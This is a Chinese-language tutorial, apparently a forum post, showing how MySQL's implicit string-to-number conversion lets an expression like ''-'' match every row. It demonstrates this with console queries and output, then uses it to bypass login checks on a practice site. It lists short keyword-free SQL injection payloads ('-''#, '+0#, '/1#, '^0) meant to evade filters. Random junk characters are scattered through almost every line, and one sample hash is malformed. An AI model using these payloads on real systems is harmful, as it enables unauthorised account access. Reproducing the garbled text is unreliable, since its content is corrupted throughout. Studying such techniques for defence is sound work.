我们先来看这样一个场景。
+ Z P5 C3 C& f3 z! }% g2 ~有以下表结构: 8 Q+ c1 V; I" w" x5 K: ^
2 m) z% b: v8 Q0 ?9 u5 Hmysql> desc admin;( e+ ~! v e- w$ I
+----------+--------------+------+-----+---------+----------------+4 M$ w2 j2 t( a/ u+ Q& Q) D
| Field | Type | Null | Key | Default | Extra |$ K0 ?( Z2 z1 \/ ~
+----------+--------------+------+-----+---------+----------------+7 @9 ?8 F8 k+ w1 v+ p, c0 [
| id | mediumint(9) | NO | PRI | NULL | auto_increment |# M4 Y, o" G( g5 W$ C
| name | char(32) | NO | UNI | NULL | |
0 y; a$ H' u* v! C| password | char(32) | NO | UNI | NULL | |
2 Y* K" O+ ~0 W- \- [# k+----------+--------------+------+-----+---------+----------------+ r" l+ A! d; @/ `9 ?- C- w
3 rows in set (0.00 sec)/ P, d% i2 B' S# ? ?
执行select * from admin;,成功返回所有记录内容。; l1 t5 I' `* G/ ^! w, K* N! R
6 a" `) g1 B2 f# p, ]# S9 O' F
' A4 j* `: ]% u4 [9 d
+----+--------+----------------------------------+
! O0 R5 o* p7 H" y+ Y2 u| id | name | password |
9 P" W4 L4 n) F$ B- _& q3 X- e+----+--------+----------------------------------+
. y# u+ C) i1 R' i) `| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
0 ~" l; s R) F* v7 \. c0 D s| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
! h. V' O: q5 Q* n& j8 J| 4 | n00b | ff80e8508d39047460921792273533a4 |
3 j. E7 G, A- e! m& b+----+--------+----------------------------------+
& c f: X. M) b3 rows in set (0.00 sec)
$ }* Q6 h$ F" b7 H- v, L8 B执行select * from admin where name=”;,没有匹配到任何记录。 ) d2 j' g n: i1 R
/ m4 T- k# x' X( Z+ w! F9 C
mysql> select * from admin where name = '';0 |' O1 A7 b( T8 Q8 J* u$ c8 W
Empty set (0.00 sec)3 z0 ^. @1 J7 S! o' Z
那么我们来执行select * from admin where name = ”-”;
; D4 H0 ~$ N! ]4 g; W/ [/ ]
& Y: X& h) j+ x n8 c3 I- W& _ c
+----+--------+----------------------------------+0 F! O" ?, ?* ^/ q
| id | name | password |" G& z5 H3 t$ f
+----+--------+----------------------------------+
# x. D9 _" O/ u. k& j D| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
% s$ H. \* w/ A| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
) R" u1 y# {. l. f| 4 | n00b | ff80e8508d39047460921792273533a4 |+ |% b" h9 c, D/ P7 W8 T7 ^
+----+--------+----------------------------------+7 Y# U3 h2 L3 L, ^1 U+ j3 [$ o3 r
3 rows in set, 3 warnings (0.00 sec)
, G& E! ~( a) M3 k4 s( A可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
, X7 e4 F8 ?; _; G
% C7 f% \! @/ d+ U- y- lmysql> show warnings;2 K/ m# v" e9 w* @3 i# f% H
+---------+------+------------------------------------------! G6 [5 J* c: H, Y
| Level | Code | Message- _( F# J* g: n2 Z4 c$ ~- |& {
+---------+------+------------------------------------------
+ |3 Q/ T; Z% [& \/ u) n| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
3 x7 m V5 V9 C, ]! }$ L9 q| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
# E4 Y \* i2 ~: P6 {' g| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b i/ t* n6 k$ V; v4 l5 j/ s
+---------+------+------------------------------------------7 L& t* z2 A1 @. Z; g: L$ x' g
3 rows in set (0.00 sec)
. q! `: {! A* o% b _) K提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 : b" H: U( a" Z
& G; `0 t$ @: U% B9 xmysql> select ''-'';1 S5 c; q6 l( E8 m. G* _
+-------+ n2 e4 k8 m/ g5 G2 A
| ''-'' |2 x" [" g8 d- c! q
+-------+
0 k; ^% o; [% Y' a/ ]9 H9 |/ a| 0 |* t) n. ?# k- b ~* S3 |& B% b
+-------+
0 G# _$ z7 Z- ] G% F" w1 row in set (0.00 sec)
2 K9 _6 ] H9 X' H t( I* P7 b返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
" ?" | X% V, S$ @6 P' A8 R# _, K; i, t7 X; n P6 f) r) l, a$ M
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
# P: C7 W2 N4 T. @& a+-----------------------------------------------------+
+ a: R9 c& A7 [6 q& k% r) W| CAST((select name from admin limit 1,1) as DECIMAL) |1 W$ d; o+ ]8 x$ c$ t' ~: }
+-----------------------------------------------------+
% H) C5 q9 J1 A& Q J| 0 |
3 M; j( _2 Y9 |) x1 Q; |4 d I. y+-----------------------------------------------------+
7 x5 _" H _2 U% i& n1 row in set, 1 warning (0.00 sec) n. B$ V. t4 e* Y/ P: r- r% [
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 & `6 O4 v7 k! p7 F, |
) q- _& J: g( ?: uSQL注入场景: http://www.sqlzoo.net/hack/ 5 ^! V5 f( D8 h, C# ^4 Y5 D$ ^
O3 S& L2 l! l! u. c9 ~6 }' M" \" n
2 G( W+ D6 I( b n; T+ c7 K
7 |5 |& o# ~4 l# N如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
/ p6 W0 _; W& O! s* d8 t0 d, A# I K; n ]3 {4 F' G% b
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
k4 ^! J( p4 j! `- d! r
1 c# x2 L0 x* Y( l
% W% L- b$ L; |2 A) X
! [0 z. X8 Q, j: K4 x5 ?1 G
0 Z) U) v" C& |; F仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 7 `% R5 [* U( Z1 H# F
0 K ~9 a: ]! X+ M8 X# {
2 }5 d2 F j6 w8 K% B) k/ @
# h# l2 U9 ~% P除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可8 g0 p6 B6 t# u0 @! I
& f* t+ A* Q& h5 f( q% E: d
; U, Q& n$ i) |6 w# {
mysql> select ''/1;
! R" |8 H8 Q8 W2 U+ l7 ?! H+------+* e4 @9 k r! a; {9 X
| ''/1 |3 |$ c! z9 ?5 o: y
+------+
/ ~$ ]8 @( \: Z |. m9 W| 0 |
) Z8 N0 l7 ~8 _/ N. y7 S1 {+------+
3 e3 w3 Z- g! T1 row in set (0.00 sec)
% C* {; k& h. `( {5 U1 n/ H类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 , f1 ^& e; g$ p* u1 `: Q
. Q( |& s7 L! U& S/ ?利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。) B2 S6 i+ H t& b3 ]
|
|